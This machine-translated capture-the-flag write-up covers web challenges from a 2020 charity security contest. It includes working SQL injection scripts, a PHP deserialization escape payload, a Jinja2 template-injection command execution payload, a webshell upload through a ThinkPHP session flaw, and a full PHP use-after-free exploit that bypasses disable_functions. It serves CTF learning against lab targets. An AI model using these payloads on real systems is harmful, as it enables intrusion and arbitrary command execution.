2020 New Year Contagion public safety network web writeup competition section

Foreword

Recently because of the epidemic, how did not go out at home, i just held a Spring platform 2020新春战疫网络安全公益赛. Sao learned some gesture, the chefs are tql. . .

DAY1

Simple Recruitment System

Open the pages found to be a login box, direct registration account login into it. You find that you need administrator login to unlock new features.

Xss there for a long time, to no avail. . . .

Finally, back to the landing page, use the universal password, Noto found in, but I just registered the account, then re-issued the title ,, direct universal password, it found success landed administrator account.

New Features page, found injected, can be injected into the joint by
no filter is normally injected into the joint, to enable pouring out flag
the test in the field found echo of 2

1' union select 1,database(),3,4,5#
nzhaopin

1' union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#
backup,flag,user

1' union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema=database()#

id,safekey,profile,id,flaaag,id,username,password,safekey,profile

1' union select 1,group_concat(flaaag),3,4,5 from flag#
flag{9cbb834c-0562-4503-a703-0d2092a220bc}

ezupload

Relatively simple one topic
open found file upload, you can upload Trojans files directly. . .

And then do system('/readflag');you can get flaga

Read the source code, write the code found overturned (2333333)
[Picture dump outside the chain fails, the source station may have a security chain mechanism, it is recommended to save the pictures uploaded directly down (img-g50fFt8M-1582612938441) ( https: // s2. ax1x.com/2020/02/24/33BYJx.png)]

Mekurachu

Open Source page found:

 <?php
    # flag在fl4g里
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);


Here we find an injection, as well as wafthe parameters will output filter. The main thing is there is no echo data. . . We can consider that the delay injection. .
?id=if(1,sleep(3),1)It can cause a delay effect.

Filtration tests found a lot of things:' % = < > * into load_file outfile like union select insert

Found that filters out some operators, we can use REGEXPinstead.

Here to tell us flag在fl4g里also save a lot of steps we can directly obtainflag

Roughly test this idea 1 and if(fl4g REGEXP "a",sleep(4),1)%23,
the script:

import requests
import time


url = "http://13922ac12da24dc2863fae519bd12b33160484bcc8a748bd.changame.ichunqiu.com/?id="


str_1 = '0123456789abcdefgl[]-'
flag= 'flag{'
for j in range(100):
	print j
	for i in str_1:
		payload = '1%20and%20if(fl4g%20REGEXP%20"'+flag+i+'",sleep(5),1)%23'
		url_1 = url +payload
		try:
			res = requests.get(url_1,timeout=3)
		except requests.exceptions.ReadTimeout:
			flag += i
			print flag
			break


    
flag{efa5f746-1914-4013-94c6-44f8184985dd}

babyphp

Open the page is a landing page, try universal password to no avail, and then scan the directory and found the source www.zip
[Picture dump outside the chain fails, the source station may have a security chain mechanism, it will be saved directly upload images (img-hCYqgmU9- 1582612938443) (https://s2.ax1x.com/2020/02/23/33JS2j.png)]

Source of the audit:

update.php

<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
	echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
	require_once("flag.php");
	echo $flag;
}

?>

As long as the successful landing you can get flag, so we find a way to structurePOP链

We lookUser类

class User
{
    public $id;
    public $age=null;
    public $nickname=null;
   ...
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

User类Where getNewInfothere is a filter, it is to replace some dangerous functions
User类exist __destructand __toStringtwo magic methods. destructDirect file is read, and __toStringis when Useras a string break out when it will call this function, $this->nickname->update($this->age);
we have to find what updatemethod

class dbCtrl
{
    public function update($sql)
    {
        //还没来得及写
    }
}

Found that there is no function, we have to search a bit __callmagic method
Infoin the presence of a __callso when the call $Info->updatetime because Info类there is no updatethis method, it will trigger the magic methods__call

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

The __callmagic method callsecho $this->CtrlCase->login($argument[0]);

It found that dbCtrlclass has loginmethods

class dbCtrl
{
    ...
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

Here found here login($sql)can be our control. We can inject your administrator password.

We look at this Info类,

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}

It found that only parameters we can control ageand nicknameyet come out here more than one property $CtrlCase, if we use the escape character deserialization, this property can be controlled. Just safethis function to us deserialization may have escaped.

Construction about:

<?php
error_reporting(0);
session_start();

class dbCtrl
{   
    public $token;
    public function __construct(){
    $this->token = 'admin';
    }
} 

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
Class Info{
    public $CtrlCase;
    public function __construct(){
        $this->CtrlCase = new dbCtrl();
    }
}
Class User{
    public $nickname=null;
    public $age=null;
    public function __construct(){
        $this->nickname = new Info();
        $this->age='select password,id from user where username="admin"';
    }
}
Class UpdateHelper{
    public $sql;
    
    public function __construct(){
        $this->sql= new User();
    }
}

$a = new UpdateHelper();

// echo serialize($a);

$res = '";s:8:"CtrlCase";' . serialize($a) . '}' . "\n";

echo $res;

//";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}}

This payloada 222 characters. A *is filtered into hackerthe 5 characters can be extruded, select 44 *and three union, of the final compositionpayload

age=1&nickname=********************************************unionunion";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:8:"nickname";O:4:"Info":1:{s:8:"CtrlCase";O:6:"dbCtrl":1:{s:5:"token";s:5:"admin";}}s:3:"age";s:51:"select password,id from user where username="admin"";}}}

[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-On4sjUf8-1582612938447) (https://s2.ax1x.com/2020/02/24/330qqH.png )]

Online decoding can get the administrator's password, landing on i can get flaga

flag{aa934a2e-666f-4669-bf94-1e6c6e6d9397}

DAY2

easysqli_copy

Open questions, find the source code is given:

 <?php 
    function check($str)
    {
        if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
        {
            print_r($matches);
            return 0;
        }
        else
        {
            return 1;
        }
    }
    try
    {
        $db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
    } 
    catch(Exception $e)
    {
        echo $e->getMessage();
    }
    if(isset($_GET['id']))
    {
        $id = $_GET['id'];
    }
    else
    {
        $test = $db->query("select balabala from table1");
        $res = $test->fetch(PDO::FETCH_ASSOC);
        $id = $res['balabala'];
    }
    if(check($id))
    {
        $query = "select balabala from table1 where 1=?";
        $db->query("set names gbk");
        $row = $db->prepare($query);
        $row->bindParam(1,$id);
        $row->execute();
    }

It found that the use of the PDO mode, think of a big brother article of SQL injection under the PDO scenes to explore , discover, and this is very similar.

Here filtering a lot of things

if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))

Found that normal injection means have been filtered. .
I thought I could use to circumvent these restrictions by converting hexadecimal.
Since there is no echo of the page where it can be considered a delay injection.
select sleep(1)Hexadecimal representation as:0x73656C65637420736C656570283129

$db->query("set names gbk");

See here to set the character set gbk, the first thought is to inject bytes wide.

In summary, the test found that:

id=1%df%27%20;set%20@x=0x73656C65637420736C656570283129;prepare%20a%20from%20@x;execute%20a;

Such delay effect can be obtained

script:

import requests 
import re
import time
import sys

reload(sys)
sys.setdefaultencoding("utf8")


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

def hex_to_str(s):
    return ''.join([chr(i) for i in [int(b, 16) for b in s.split(' ')]])


url = "http://c8a6cd9388a04664b7695f43a2489372bae05b16de4e4793.changame.ichunqiu.com//?id=1%df%27%20;set%20@x=0x"
flag = ""
for j in range(1,100):
	print j
	for i in range(32,128):
		# sql = 'select if((ascii(substr(database(),'+str(j)+',1))>'+str(i)+'),1,sleep(100))'
		#payload="select if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
				#print(payload)
				#payload="select if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='table1'),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
		sql = "select if((ascii(substr((select group_concat(fllllll4g) from table1),"+str(j)+",1))="+str(i)+"),sleep(4),1)"
		# print sql
		hex_sql = str_to_hex(sql)
		url_1 = url+hex_sql+';prepare%20a%20from%20@x;execute%20a;'
		# print url_1
		# exit()
		try:
			res = requests.get(url_1,timeout=4)
		except requests.exceptions.ReadTimeout:
			flag +=chr(i)
			print flag
			break


blacklist

Open the topic and found a topic of special strong network cup similar.
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-h28g1KjF-1582612938452) ( https://s2.ax1x.com/2020/02/22/3Q83gx.png )]
but more rigorous filtering this subject:
the idea of the last strong network cup that question gave filtered. .

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

We can be found in the table name payload: -1';show tables;:
[Image dump outside the chain fails, the source station may have a security chain mechanism, it is recommended to save the pictures uploaded directly down (img-9ZiughAA-1582612938455) ( https://s2.ax1x.com/ 2020/02/22 / 3QGcS1.png) ]

We can find flagtables where

Through access to information, I found an interesting thing handler Mysql query -handler

handlerUse:

mysql> handler user open;
Query OK, 0 rows affected (0.00 sec)

mysql> handler user read first;
+----+-------+-------+
| id | name  | pass  |
+----+-------+-------+
|  1 | admin | admin |
+----+-------+-------+
1 row in set (0.00 sec)

mysql> handler user read next;
+----+------+------+
| id | name | pass |
+----+------+------+
|  2 | root | root |
+----+------+------+
1 row in set (0.00 sec)

mysql> handler user close;
Query OK, 0 rows affected (0.00 sec)

We can do the same look.

Get payload:

-1';handler `FlagHere` open;handler `FlagHere` read first;#

[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-JvDZARVZ-1582612938457) (https://s2.ax1x.com/2020/02/22/3QJpfs.png )]

Ezsqli

Open Title
[image dump outer link fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-ZT5HMbwO-1582612938462) ( https://s2.ax1x.com/2020/02/22/3QthwT .png)]

Found input 1echoHello Nu1L

Input 2EchoHello CQGAME

When we enter 2-1echoHello Nu1L

There is injected into the discovery. 2-(ascii(substr(database(),1,1))>1)This can detect database name.

Which also filters out some string

sleep,instr,benchmark,format,insert,bin,substring,ord,and,in,or,xor

Wherein unionand selectalone is not filtered, is used together with an illegal character determined. . .

Since the filter in, we can not use information_schemathe library we want to query the table name and the field name.

We need to look at the new features of MySQL5.7

由于performance_schema过于发杂,所以mysql在5.7版本中新增了sys schemma,基础数据来自于performance_chema和information_schema两个库,本身数据库不存储数据。

I also found an article bypass information_schema

By the article says we can talk sys.schema_table_statistics_with_bufferto query the table name.
Construction payload:

2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),1,1))>1)

So that we can construct out of the table name f1ag_1s_h3r3_hhhhh.

In the case we know the table name, the original idea was not listed can be injected, but the filtering union select joinand so saddened by

Found between attempts:
2 - (ascii(substr((select count(*) f1ag_1s_h3r3_hhhhh),1,1))=49)you can get only one data table

2 - (ascii(substr((select count(id) f1ag_1s_h3r3_hhhhh),1,1))=49)The table can be obtained present idvalue1

In the attempt, he discovered a coquettish pose:

mysql> select (select 1,0x01,3)>(select * from user limit 1);
+------------------------------------------------+
| (select 1,0x01,3)>(select * from user limit 1) |
+------------------------------------------------+
|                                              0 |
+------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 1,0xff,3)>(select * from user limit 1);
+------------------------------------------------+
| (select 1,0xff,3)>(select * from user limit 1) |
+------------------------------------------------+
|                                              1 |
+------------------------------------------------+
1 row in set (0.00 sec)

So you can try to get Flag:
payload:

2-(select (select 1,0x01)>(select * from f1ag_1s_h3r3_hhhhh limit 1))

Finally, attach the script:

import requests


def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

url = "http://86ad8e55dd3244b488826b4cf0924ce4b5a885066be143a0.changame.ichunqiu.com/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


flag=''


for j in range(1,100):
    for i in range(32,126):
        print i
        payload = "id=2-(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),"+str(j)+",1))<"+str(i)+")"
        # a = str_to_hex(chr(i))
        # payload = "id=2-(select (select 1,0x"+str_to_hex(flag)+a+")>(select * from f1ag_1s_h3r3_hhhhh limit 1))"
        res = requests.post(url=url,data=payload,headers=headers)
        # print payload
        # print res.text
        # exit()
        if "Hello Nu1L" in res.text:
                flag += chr(i-1)
                print flag
                break


DAY3

Flaskapp

[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-m51sJD2h-1582612938467) (https://s2.ax1x.com/2020/02/23/33i3p4.png )]

This is a base64 encryption and decryption website

Guess test ssti

${{1+1}}It is base64 encoded and then get on the site with the decryption tool decoding:

[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-oQvZHhE7-1582612938469) (https://s2.ax1x.com/2020/02/23/33AI3D.png )]

We found echo, and then try construct payload: execute commands. .

There is also some filtering, when there is an illegal character input,
[the chain images dumping fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-6kSEaSbK-1582612938473) ( https: // s2 .ax1x.com / 2020/02/23 / 33EHRU.png)]

Get payload:{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['ev'+'al']("__imp"+"ort_"+"_('o"+"s').po"+"pen('ls').read()")}}

Command can be executed:
[image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-H0Ts0H5u-1582612938476) ( https://s2.ax1x.com/2020/02/23 /33Az8S.png)]

Reading flagfile:{{{}.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['ev'+'al']("__imp"+"ort_"+"_('o"+"s').po"+"pen('cat this_is_the_fl'+'ag.txt').read()")}}

[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (https://s2.ax1x.com/2020/02/23/33Vomd.png (img-p8wbqGOW-1582612938480) )]

easy_thinking

Open Title:
[image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-G5WAACgo-1582612938483) ( https://s2.ax1x.com/2020/02/23/ 33np0H.png)]

Source found www.zip, by testing found:
[image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-BcNRd6GG-1582612938485) ( https://s2.ax1x.com/2020 /02/23/33utRP.png)]

Is a thinkphp6.0.0former version of this paragraph has just burst out of a loophole reference link , a wave detection.

Our normal registration, login, found the page search function, but can not find anything. . .

In http://123.57.212.112:7892/runtime/session/this catalog, we find the stored sessionfiles.
[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-x0kafR9B-1582612938486) ( https://s2.ax1x.com/2020/02/23/33KVeg.png )]

Open the corresponding file and found just what we look for when stored inside.

So we can upload a Trojan file.

When we landed, modify PHPSESSIDthe values change 102cf8246d140a73584c0e6c02b8.php, after the successful landing will be in http://123.57.212.112:7892/runtime/session/this directory, find the file, and then the horse is to write into it.

[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (https://s2.ax1x.com/2020/02/23/33K2tA.png (img-IwSAcfop-1582612938487) )]

Access the file, find the Trojan successfully written:

[Image dump the chain fails, the source station may have security chain mechanism, it is recommended to save the picture down uploaded directly (img-YjCGEven-1582612938488) (https://s2.ax1x.com/2020/02/23/33K77Q.png )]

But can not execute system commands. . . Because disable_functions
[Picture dump outside the chain fails, the source station may have a security chain mechanism, it is recommended to save the pictures uploaded directly down (https://s2.ax1x.com/2020/02/23/33KLhn (img-fbiT7iz4-1582612938489). png)]
this prohibits the use of too many mail,error_logof these have been disabled, and had come up with the ancestral artifacts. . .

<?php
pwn("cd / &&./readflag");
function pwn($cmd) {
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $text_size) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if you get segfaults
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}
?>

This will be uploaded to the server, you can execute the command, and it has been visited flag.

flag{4424232f-959f-4923-b693-cd9b3e7e316f}
Released seven original articles · won praise 2 · Views 1596

Guess you like

Origin blog.csdn.net/qq_41575340/article/details/104497346